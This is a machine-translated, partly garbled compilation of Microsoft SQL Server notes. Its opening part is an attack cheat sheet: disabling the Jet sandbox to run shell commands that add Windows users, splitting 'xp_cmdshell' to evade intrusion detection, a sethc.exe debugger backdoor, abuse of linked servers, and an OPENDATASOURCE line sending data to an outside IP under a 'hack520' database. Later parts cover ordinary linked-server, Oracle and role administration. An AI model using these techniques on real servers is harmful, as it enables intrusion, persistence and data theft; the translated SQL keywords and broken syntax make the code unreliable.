Fiksēts smilšu kastes aizsargātais režīms izpildmeistars .. xp_regwrite 'HKEY_LOCAL_MACHINE','PROGRAMMATŪRA\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Pārbaudiet, vai vērtība 'SandBoxMode' ir kļuvusi par 0.
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','PROGRAMMATŪRA
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Visbeidzot, izsauciet smilšu kastes režīmu atlasiet * no openrowset('microsoft.jet.oledb.4.0','; datu bāze=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
Ja smilšu kastes aizsardzības režīms nav "izslēgts", tiek ziņots par kļūdu: Serveris: Msg 7357, 16. līmenis, 2. stāvoklis, 1. rinda
Neizdevās apstrādāt objektu 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB nodrošina programmas
Priekšvārds "microsoft.jet.oledb.4.0" norāda, ka objektā nav kolonnu.
OLE DB kļūdu izsekošana [Kļūda bez interfeisa: OLE DB nodrošinātājs nevar apstrādāt objektu, jo objekts
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c neto lietotājs
lietotājs passwd /add")']。
2、 Ja .mdb nav vai ievades ceļš ir nepareizs Serveris: Msg 7399, 16. līmenis, 1. stāvoklis, 1. rinda
OLE DB nodrošinātāja kļūda 'microsoft.jet.oledb.4.0'. [OLE/DB nodrošinātāja atgrieztais ziņojums:
Fails 'C:\WINDOWS\system32\ias\dnary1.mdb' nav atrasts. ]
OLE DB kļūdu izsekošana [OLE/DB nodrošinātājs 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned
0x80004005: ]。
3. Ja ievades procesā ir vairāk vietu, tiks ziņots arī par kļūdu. Pievērsiet īpašu uzmanību tam, daudzi cilvēki tieši meklē rakstus tiešsaistē
Ielīmējiet to un izpildiet to. Serveris: Msg 7357, 16. līmenis, 2. stāvoklis, 1. rinda Neizdevās apstrādāt objektu 'select
shell("cmd.exe /c neto lietotājs lietotājs passwd /add")'。 OLE DB pakalpojumu sniedzējs "microsoft.jet.oledb.4.0" norāda, ka objektā nav kolonnu.
OLE DB kļūdu izsekošana [Kļūda bez interfeisa: OLE DB nodrošinātājs nevar apstrādāt objektu, jo objekts ir
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c neto lietotāja lietotājs
passwd /add")']。
4、 Ja mdb atļaujas un cmd.exe atļaujas ir nepareizas, radīsies arī problēma. Ja MDB atļaujas ir nepareizas, Serveris: Likvidēt
Procenti 7320, 16. līmenis, 2. stāvoklis, 1. rinda
Viņš nevarēja atbildēt OLE DB pakalpojumu sniedzējs 'Microsoft.Jet.OLEDB.4.0' izpilda vaicājumu. [OLE/DB nodrošinātājs atgriezts
message: 未知] OLE DB kļūdu izsekošana [OLE/DB nodrošinātājs 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Ja tīkla atļauja ir nepareiza, nav uzvednes.
Pēdējais veids, kā paaugstināt autoritāti, ir augšupielādēt sistēmas ias.mdb un cmd.exe pašreizējā tīmekļa direktorijā, net.exe trīs failus.
Izpildiet atlasi * no openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe lietotājs lietotājs passwd /add")') Veiksmīgi pievienojiet datora lietotāju.
Cmdshell sadalīšana apiet IDS deklarēt @a sysname kopu @a='xp_'+'cmdshell' exec @a 'ipconfig' paziņot
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Rediģēt reģistra nolaupīšanas maiņu izpildmeistars .. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Attēla faila izpildes opcijas\sethc.exe','atkļūdotājs','REG_sz','c:\windows
\system32\cmd.exe ieslēgts"; --
Vaicājums saišu serverī Atlasiet
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,datu piekļuve no master.dbo.sysservers Atlasiet
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,datu piekļuve no master.dbo.sysservers
Vaicājuma saites serveris2 Atlasiet atšķirīgu resursdatora nosaukumu,db_name(dbid),net_address,Loginame,program_name no
meistars.. sysprocesses
Vaicājums saišu serverī un citi lietotāji, kas ir pieteikušies Atlasiet * no [192.168.1.1].master.dbo.syslogins
Vaicājuma saišu serveris Visas datu bāzes atlasiet * no linkedSrvWeb.master.dbo.sysdatabases
Paplašinātas krātuves veikšana LinkServer exec [ip].master.dbo.xp_cmdshell
Vaicāt visas saišu servera tabulas Atlasiet * no [ip].master.dbo.sysobjects
Izvēlieties * no OpenRowSet
('sqloledb','serveris=IP; uid=lietotājs; pwd=parole','atlasīt @@version')
atlasiet * no openquery([LINKSERVER
nosaukums],'atlasīt @@version')
atlasiet * no openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
atlasiet * no openquery(GM_SERVER,'select * no sysobjects, kur xtype = (''U'')')
Izvēlieties * no
openquery(NDOORS;'Select IS_MEMBER(''db_owner'')')
atlasiet * no openquery(toatdeweb,'select
srvname no master.dbo.sysservers')
Ievietošana OpenDataSource
('sqloledb','serveris=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select
Nosaukums no master.dbo.sysdatabases izveidot datu bāzi hack520 Izveidot TABULU zhu(vārds nvarchar(256)
null); Izveidot TABULU J8(id int NULL,name nvarchar(256) null);
Atlasiet * no OpenQuery
(toatdeweb,'iestatīt fmtonly off exec master.dbo.xp_cmdshell ''net user''')
izpildmeistars .. xp_dirtree
'c:\',1,1 Vaicājumu direktorija veikšana
exec links.master.. xp_cmdshell "ipconfig"
Atlasiet * no OpenQuery(ToatdeWeb,'Set
fmtonly izslēgts exec master.dbo.xp_cmdshell ''ipconfig /all''')
Pievienojiet mysql Atlasiet * no Mem_DB. UserDB.dbo.AdminList
IZPILDDIREKTORS MEISTARS .. XP_dirtree 'c:\',1,1
Izpilddirektors
master.dbo.xp_cmdshell 'dir '
Atlasiet count(*) no [norādīt] Vaicājiet, cik daudz datu ir pašreizējā tabulā
Atlasiet atšķirīgu resursdatora nosaukumu,db_name(dbid),net_address,Loginame,program_name
no meistara .. sysprocesses
Izvēlieties * no gameDB01. Server01.dbo.cabal_character_table kur nosaukums='
Cūka"
Kad to izdzēšat, tiek teikts: Datu bāze tiek izmantota un to nevar izdzēst.
Noklikšķiniet uz datu bāzes, kuru vēlaties dzēst, lai atvērtu notikumu skatītāju.
Ievade:
Lietošana
meistars Iet Pēc tam ievadiet: Deklarēt @d Varchar(8000) Iestatiet @d= ' ' izvēlieties @d=@d+ ' nogalināt
'+cast(spid kā varchar)+char(13) no meistara .. sysprocesses kur dbid=db_id('bibliotēkas nosaukums') izpilddirektors(@d) -- Izmantojiet kodu, lai vispirms izdzēstu procesu, kas izveido savienojumu ar šo datu bāzi
MSSQL darbojas Oracle, izmantojot LinkServer
1) Instalējiet Oracle SQL_SERVER 2005 serverī
9i klients. Pieņemsim, ka instalējiet direktorijā C:\ora92i\. Ja D: ir NTFS nodalījums, jums ir jāiestata ORACLE instalētais direktorijs kā izmantotais
Abonentiem ir tiesības palaist, pievienot un dzēst.
2) Konfigurējiet failu C:\ora92i\network\ADMIN\tnsnames.ora. (Šis sarkanais teksts ir konfigurācijas piemērs)
ORCL =
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADRESE = (PROTOKOLS = TCP)(RESURSDATORS = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) DOS režīmā palaidiet tālāk norādīto komandu, lai pārliecinātos, ka ORACLE klients ir instalēts pareizi.
sqlplus lietotājs/password@ORCL
4) Atveriet Start - Control Panel - Services un pārliecinieties, ka ir sākts Distributed Transaction Coordinator pakalpojums.
5) Atveriet SQL SERVER Management Studio, instances nosaukums (ORCL) - servera objekts (ar peles labo pogu) - jauns savienojuma serveris.
1.
Saites serveris: ierakstiet saistītā servera nosaukumu, piemēram, OracleTest
2. Servera tips, atlasiet citu datu avotu
3. Piekļuves saskarne: Atlasiet Oracle nodrošinātāju OLE DB
4. Produkta nosaukums: Write Oracle
5. Datu avots: Uzrakstiet
Pakalpojuma nosaukums, kas konfigurēts failā tnsnames.ora, piemēram, ORCL
6. Piekļuves interfeisa virkne: userid=sys kā sysdba; parole=parole
7. Lapā Atlasīt drošības opcijas izmantojiet šo instalācijas kontekstu, lai izveidotu savienojumu:
a) Attālinātā pieteikšanās: lietotājs (cits lietotājs, nevis sys)
b)
Lietot paroli: parole
8. Iestatiet "NT AUTHORITY\SYSTEM" vietējā pieteikšanās, attālinātā lietotāja sistēmā un iestatiet paroli
9.
Vai esi pārliecināts
6) Ir divi veidi, kā rakstīt SQL
a) Izmantojot T-SQL sintaksi:
IZVĒLIETIES * NO
OraTest.ERP.BAS_ITEM_CLASS
Ņemiet vērā, ka, ievadot SQL paziņojumus SQL vaicājumu analizatorā, pievērsiet uzmanību ķīniešu pilna platuma un pusplatuma pārslēgšanai
Ceļš!
b) Izmantojiet PLSQL sintaksi: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Otrā piekļuves metode ir aptuveni 50% ātrāka nekā pirmā; Otrā piekļuves metode ir tieši savienota
ORACLE ir salīdzināms; Pirmā piekļuves metode var izraisīt dažas negaidītas kļūdas, piemēram: Tabulas nav, vai pašreizējais lietotājs
Nav piekļuves galdam utt.
d) Ja kolonna, kurai jāpiekļūst, izmanto datu tipus bez precizitātes, abi šie
Šī ir ORACLE kļūda, kuru nevar novērst, un to var izvairīties tikai ar īpašu vaicājumu paziņojumu apstrādi:
OLE DB pakalpojumu sniedzēja "OraOLEDB.Oracle" sniegtie metadati kolonnām ir nekonsekventi. Metadatu informācija tiek mainīta izpildes laikā.
mssql pievienots
Lietotāja dzēšana un atļauju piešķiršana
Bibliotēkas nosaukuma izmantošana Iet --Pievienot lietotājus exec sp_addlogin 'test' -- pievienot pieteikšanos izpilddirektors
sp_grantdbaccess N'test" - padarot to par likumīgu pašreizējās datu bāzes lietotāju exec sp_addrolemember N'db_owner',
N'test' - piešķir visas atļaujas savai datu bāzei - Tas rada lietotājus, kuri var piekļūt tikai savai datu bāzei un tam, kas ir iekļauts datu bāzē
Publiska tabula vieslietotājiem Iet --Noņemt testa lietotāju exec sp_revokedbaccess N'test' -- Noņemt piekļuvi datu bāzei
Ierobežojums exec sp_droplogin N'test' -- dzēst pieteikšanos Ja to izveidojat programmā Enterprise Manager, izmantojiet: Uzņēmuma vadītājs - drošība
Sekss --Ar peles labo pogu noklikšķiniet uz Pieteikties--Jauna pieteikšanās Vispārīgi jautājumi --Ievadiet lietotājvārdu nosaukumā
--Autentifikācijas metode tiek izvēlēta atbilstoši jūsu vajadzībām (ja izmantojat Windows autentifikāciju, vispirms jāizveido jauns lietotājs starp operētājsistēmas lietotājiem)
--Noklusējuma iestatījumos atlasiet datu bāzes nosaukumu, kuram vēlaties piekļūt jaunajam lietotājam Servera lomas vienums Neizvēlieties neko šajā datu bāze
Piekļuves vienums Pārbaudiet izveidotā lietotāja datu bāzes nosaukumu, kurai vēlaties piekļūt Atļaut datu bāzes lomu, atzīmējiet "publisks", "db_ownew" Protams, tas
Parauga izveidotais lietotājs ir tāds pats kā lietotājs, kas izveidots ar iepriekš minēto apgalvojumu
Pēdējais solis ir iestatīt konkrētas piekļuves atļaujas konkrētiem lietotājiem, uz kurām var atsaukties šāds minimālais piemērs:
--Pievienojiet lietotājus, kuriem ir atļauts piekļūt tikai norādītajai tabulai: exec sp_addlogin 'lietotājvārds', 'parole', 'noklusējuma datu bāzes nosaukums'
--pievienot datu bāzei exec sp_grantdbaccess 'lietotājvārds'
--Piešķirt visas tabulas atļaujas PIEŠĶIRT ATLASĪT , IEVIETOT , ATJAUNINĀT , DZĒST TABULĀ1 UZ [lietotājvārds] --Piešķirt atļaujas noteiktām kolonnām PIEŠĶIRT ATLASĪT , ATJAUNINĀT TABULĀ1 (id, AA) UZ [lietotājvārds]
Lai iegūtu specifiskus drošības iestatījumus un teorētiskās zināšanas, lūdzu, skatiet SQL tiešsaistes palīdzību
Fiksēts datu bāzes lomas apraksts db_owner Ir pilnas atļaujas datu bāzē.
db_accessadmin Varat pievienot vai noņemt lietotāju ID.
db_securityadmin Var pārvaldīt pilnas atļaujas, objekta īpašumtiesības, lomas un lomu dalību.
db_ddladmin varat izdot VISUS DDL, bet ne GRANT, ATSAUKT vai NOLIEGT.
db_backupoperator var izdot DBCC, CHECKPOINT un BACKUP priekšrakstus.
db_datareader Visus datus var atlasīt no jebkuras datu bāzes lietotāju tabulas.
db_datawriter Visus datus var mainīt jebkurā datu bāzes lietotāja tabulā.
db_denydatareader Datu bāzē nevar atlasīt nevienu lietotāju tabulu.
db_denydatawriter Datu bāzes lietotāju tabulā nevar mainīt nevienu datu bāzi.
Jums vajadzētu izvēlēties db_datareader, db_datawriter, db_accessadmin
5. Kad SQL Server instance ir startēta viena lietotāja režīmā, Windows administratora konts var izmantot sqlcmd rīku, lai izveidotu savienojumu Windows autentifikācijas režīmā
SQL Server。 Varat izmantot T-SQL komandas, piemēram, "sp_addsrvrolemember", lai pievienotu esošu pieteikšanos sistēmas administratora servera lomai
vai izveidojiet jaunu pieteikšanās kontu. Apgalvojuma piemērs ir šāds:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
IET
Sistēmas administratora atļaujas pievienošana
(1) Servera lomu pārvaldība
SQL Server ir divas galvenās saglabātās procedūras, kas īsteno SQL Server lomu pārvaldību:
sp_addsrvrolemember
un sp_dropsrvrolemember
sp_addsrvrolemember Servera lomai var pievienot pieteikšanās kontu, lai to padarītu par šīs servera lomas dalībnieku. Sintakse ir šāda: sp_addsrvrolemember
pieteikšanās , loma
sp_dropsrvrolemember Pieteikšanās kontu var izdzēst no servera lomas, un, kad dalībnieks tiek noņemts no servera lomas, tam vairs nav šīs servera lomas
Iestatītās atļaujas. Sintakse ir šāda: sp_dropsrvrolemember [@loginname=]'pieteikšanās',[@rolename=]'loma'
tajā
@loginname ir pieteiktā lietotāja vārds; @rolename ir servera loma.
(2) Datu bāzes lomu pārvaldība
SQL Server tiek atbalstīta datu bāzes pārvaldība
Ir seši galvenie saglabāto procedūru veidi, un to specifiskā nozīme un sintakse ir šāda:
sp_addrole: tiek izmantots, lai izveidotu jaunu datu bāzes lomu; sp_addrole
loma, īpašnieks
sp_droprole: izmanto, lai noņemtu datu bāzes lomu no pašreizējās datu bāzes lomas; sp_droprole loma
sp_helprole:
To izmanto, lai parādītu visu informāciju par visām datu bāzes lomām pašreizējā datu bāzē; sp_helprole ['loma']
sp_addrolemember: Izmanto, lai nosūtītu uz datu bāzi
Datu bāzes lietotāju pievienošana lomai, kas var būt lietotāja definētas standarta lomas vai fiksētas datu bāzes lomas, bet nevar būt
Lietojumprogrammu lomas. sp_addrolemember lomu, security_account
sp_droprolemember: tiek izmantots, lai izdzēstu noteiktu rakstzīmi
mājsaimniecība; sp_droprolemember lomu, security_account
sp_helprolemember. Izmanto, lai parādītu visus datu bāzes lomas dalībniekus
。 sp_helprolemember ['loma']
MSSQL LINKSERVER vaicājums
---------------------------------------------------------------------------------- - Autors:
htl258 (Tonijs) -- Datums : 2010-06-25 22:23:18 -- Versija: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel x86) -- Jūlijs 9, 2008 14:43:34 -- Autortiesības (c) 1988-2008 Microsoft Corporation --
Izstrādātāja izdevums operētājsistēmā Windows NT 5.1 (būvējums 2600: 2. servisa pakotne) -- Emuārs: -- Temats: SQL datu operācijas starp dažādām serveru datu bāzēm ---------------------------------------------------------------------------------- --1. Saišu servera izveide --1.1 Izveidojiet saites nosaukumu EXEC sp_addlinkedserver 'LinkName','',''SQLOLEDB',' attālā servera nosaukums
vai IP adrese" -- Ja jums ir pielāgots instances nosaukums, pievienojiet "\instances nosaukums"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','','SQLOLEDB','192.168.58.208' */ --1.2 Izveidojiet pieteikšanos (vai izveidojiet saišu servera pieteikšanās karti) (vienkārši izvēlieties vienu veidu) --1.2.1 Piesakieties ar Windows autentifikāciju EXEC sp_addlinkedsrvlogin 'LinkName' --vai EXEC sp_addlinkedsrvlogin 'LinkName','true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Piesakieties ar SQL autentifikāciju EXEC sp_addlinkedsrvlogin 'LinkName','false',NULL,'Username','Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */ --2. Ar serveri saistītu datu operāciju saistīšana --2.1 Vaicājuma piemērs SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
NO TonyLink.Mydb.dbo.tb */ -- 2.2 Importa piemērs SELECT * INTO tabulas nosaukums FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
NO TonyLink.Mydb.dbo.tb */ -- 2.3 Atjaunināšanas piemērs UPDATE LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Personas='g' KUR Personas='a' */ -- 2.4 Dzēst piemērus DELETE LinkName.Database Name.Schema Name.Table Name WHERE lauka nosaukums='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb KUR Personas='g' */ --3, izmantojot funkciju rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metode
- 3.1 OPENQUERY metode (nepieciešama tikko izveidotā saišu servera palīdzība): -- 3.1.1 Vaicājuma piemērs SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums')
/* Piemēram: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Importa piemēri --3.1.2.1 Importēt visas kolonnas INSERT OPENQUERY(LinkName, 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums
') SELECT * FROM vietējā tabulā
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
NO tb */ --3.1.2.2 Importēt norādītās kolonnas INSERT OPENQUERY(LinkName, 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums') (kolonna, kolonna...) kolonna SELECT,
Kolonna... FROM vietējā tabula
/* Piemēram: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) ATLASIET
DIAPAZONS,LĪMENIS,Personas NO tb */ --3.1.3 Atjaunināšanas piemēri UPDATE OPENQUERY(LinkName, 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums') SET lauks = 'vērtība' WHERE vārds
Segments = 'Stāvoklis'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Personas='a' */ --3.1.4 Piemēru dzēšana DELETE OPENQUERY(LinkName, 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums') WHERE lauka nosaukums='nosacījums'
/*例
Piemēram: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 OPENROWSET metode (jums nav jāizmanto izveidotās saites nosaukums.) Ja pievienotās instances nosaukums nav noklusējuma, tas jāiestata sql servera nosaukumā vai IP adresē.
"\instances nosaukums") --3.2.1 Vaicājuma piemērs --3.2.1.1 Windows autentifikācijas metodes vaicājums (pietiek ar vienu no šīm metodēm) ATLASIET * NO OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai
IP adrese; Trusted_Connection=yes', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums) ATLASIET * NO OPENROWSET('SQLNCLI',
'server=sql servera nosaukums vai IP adrese; Trusted_Connection=yes', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums) IZVĒLIETIES * NO
OPENROWSET('SQLOLEDB', 'serveris=sql servera nosaukums vai IP adrese; Trusted_Connection=yes','SELECT * FROM datu bāzes
Vārds. Arhitektūras nosaukums. tabulas nosaukums') ATLASIET * NO OPENROWSET('SQLNCLI', 'server=sql servera nosaukums vai IP adrese
Adrese; Trusted_Connection=yes','SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums')
/* Piemēram: SELECT * FROM OPENROWSET
('SQLOLEDB','Serveris=192.168.58.208; Trusted_Connection=jā',Mydb.dbo.tb)
Vai: ATLASIET * NO OPENROWSET
('SQLNCLI','Serveris=192.168.58.208; Trusted_Connection=jā',Mydb.dbo.tb)
Vai: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes','SELECT *
NO Mydb.dbo.tb')
Vai: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes','SELECT *
NO Mydb.dbo.tb') */ --3.2.1.2 SQL autentifikācijas metodes vaicājums (pietiek ar vienu no šīm metodēm) IZVĒLIETIES * NO OPENROWSET
('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums) IZVĒLIETIES * NO
OPENROWSET('SQLNCLI', 'serveris=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums) ATLASIET * NO OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole','SELECT *
Datu bāzes nosaukums FROM. Arhitektūras nosaukums. tabulas nosaukums') ATLASIET * NO OPENROWSET('SQLNCLI', 'server=sql servera nosaukums vai IP adrese; uid=
Lietotājvārds; pwd=password','SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums') SELECT * FROM OPENROWSET('SQLOLEDB', 'sql
servera nosaukums"; "lietotājvārds"; "Parole", datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums) ATLASIET * NO OPENROWSET('SQLNCLI', 'SQL SERVERA NOSAUKUMS
'; "lietotājvārds"; "Parole", datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums) ATLASIET * NO OPENROWSET('SQLOLEDB', 'SQL SERVERA NOSAUKUMS'; ' lietotājs
vārds"; 'Parole', 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums') ATLASIET * NO OPENROWSET('SQLNCLI', 'sql server
vārds"; "lietotājvārds"; 'Parole', 'SELECT * FROM datu bāzes nosaukums. Arhitektūras nosaukums. tabulas nosaukums')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Vai: ATLASIET * NO OPENROWSET
('SQLNCLI','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Vai: ATLASIET * NO OPENROWSET
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
vai: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
vai: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; "sa"; '123',mydb.dbo.tb)
vai: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; "sa"; '123',mydb.dbo.tb)
vai: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; "sa"; '123','SELECT * FROM Mydb.dbo.tb')
vai: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; "sa"; '123','SELECT * FROM Mydb.dbo.tb') */ --3.2.2 Importēšanas piemērs --3.2.2.1 Importēt visas kolonnas INSERT OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese
Adrese; uid=lietotājvārds; pwd=parole', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums) SELECT * FROM lokālajā tabulā
/* 例如:INSERT OPENROWSET
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SELECT * FROM tb */ --3.2.2.2 Imports
Kolonnu norādīšana INSERT OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole', datu bāzes nosaukums. plaukts
Konstrukta nosaukums. tabulas nosaukums) (kolonna, kolonna...) SELECT kolonna, kolonna... FROM vietējā tabula
/* 例如:INSERT OPENROWSET
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(DIAPAZONS,LĪMENIS,Personas) ATLASIET
DIAPAZONS,LĪMENIS,Personas NO tb */ --Piezīme: Lai iegūtu vairāk alternatīvu metožu, skatiet .2.1 vaicājuma piemēru, vienkārši nomainiet funkciju OPENROWSET
Saturs ir pietiekams. --3.2.3 Atjaunināt piemēru UPDATE OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds
;p wd=password', datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums) SET lauks = 'vērtība' Lauks WHERE = 'nosacījums'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET personas = 'g' WHERE personas = 'a' */ --Piezīme: Lai iegūtu vairāk alternatīvu metožu, skatiet .2.1 vaicājuma piemēru, vienkārši nomainiet saturu OPENROWSET. --3.2.4 Svītrot norādi
Piemērs DELETE OPENROWSET('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole', datu bāzes nosaukums. Shēmas nosaukums
.tabulas nosaukums) WHERE lauka nosaukums='nosacījums'
/* Piemēram: DELETE OPENROWSET('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) KUR
Personas = 'g' */ --Piezīme: Lai iegūtu vairāk alternatīvu metožu, skatiet .2.1 vaicājuma piemēru, vienkārši aizstājiet saturu OPENROWSET. --3.3 OPENDATASOURCE metode
(Izveidotās saites nosaukums nav jāizmanto.) Ja savienojuma instances nosaukums nav noklusējuma, pēc sql servera nosaukuma vai IP adreses jāpievieno \instances nosaukums
") --3.3.1 Vaicājuma piemērs --3.3.1.1 Windows autentifikācijas metodes vaicājums (pietiek ar vienu no šīm metodēm) ATLASIET * NO OPENDATASOURCE('SQLOLEDB',
'server=sql servera nosaukums vai IP adrese; Trusted_Connection=jā"). Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums IZVĒLIETIES * NO
OPENDATASOURCE('SQLNCLI', 'serveris=sql servera nosaukums vai IP adrese; Trusted_Connection=jā"). Datu bāzes nosaukums. Arhitektūras nosaukums.
Tabulas nosaukums
/* Piemēram: ATLASIET * NO OPENDATASOURCE
('SQLOLEDB','Serveris=192.168.58.208; Trusted_Connection=jā"). Mydb.dbo.tb
Vai: ATLASIET * NO OPENDATASOURCE
('SQLNCLI','Serveris=192.168.58.208; Trusted_Connection=jā"). Mydb.dbo.tb */ --3.3.1.2 SQL autentifikācijas metodes vaicājums (pietiek ar vienu no šīm metodēm) ATLASIET * NO OPENDATASOURCE('SQLOLEDB', 'server=sql servera nosaukums vai
IP adrese; uid=lietotājvārds; pwd=parole'). Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums ATLASIET * NO OPENDATASOURCE('SQLNCLI', 'serveris=sql servera nosaukums vai IP adrese; uid=lietotājs
Vārds; pwd=parole'). Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums ATLASIET * NO OPENDATASOURCE('SQLOLEDB', 'Data Source=sql servera nosaukums vai IP adrese
Adrese; uid=lietotājvārds; pwd=parole'). Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums ATLASIET * NO OPENDATASOURCE('SQLNCLI', 'Data Source=sql servera nosaukums vai IP adrese
Adrese; uid=lietotājvārds; pwd=parole'). Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Serveris=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Vai: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Vai: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data
Avots=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Vai: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data
avots=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Visu kolonnu importēšana INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole').
Saskaņā ar bibliotēkas nosaukumu. Arhitektūras nosaukums. Tabulas nosaukums SELECT * FROM lokālajā tabulā
/* Piemēram: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ATLASIET
* NO TB */ --3.3.2.2 Importēt norādītās kolonnas INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole').
Saskaņā ar bibliotēkas nosaukumu. Arhitektūras nosaukums. Tabulas nosaukums (kolonna, kolonna...) SELECT kolonna, kolonna... FROM vietējā tabula
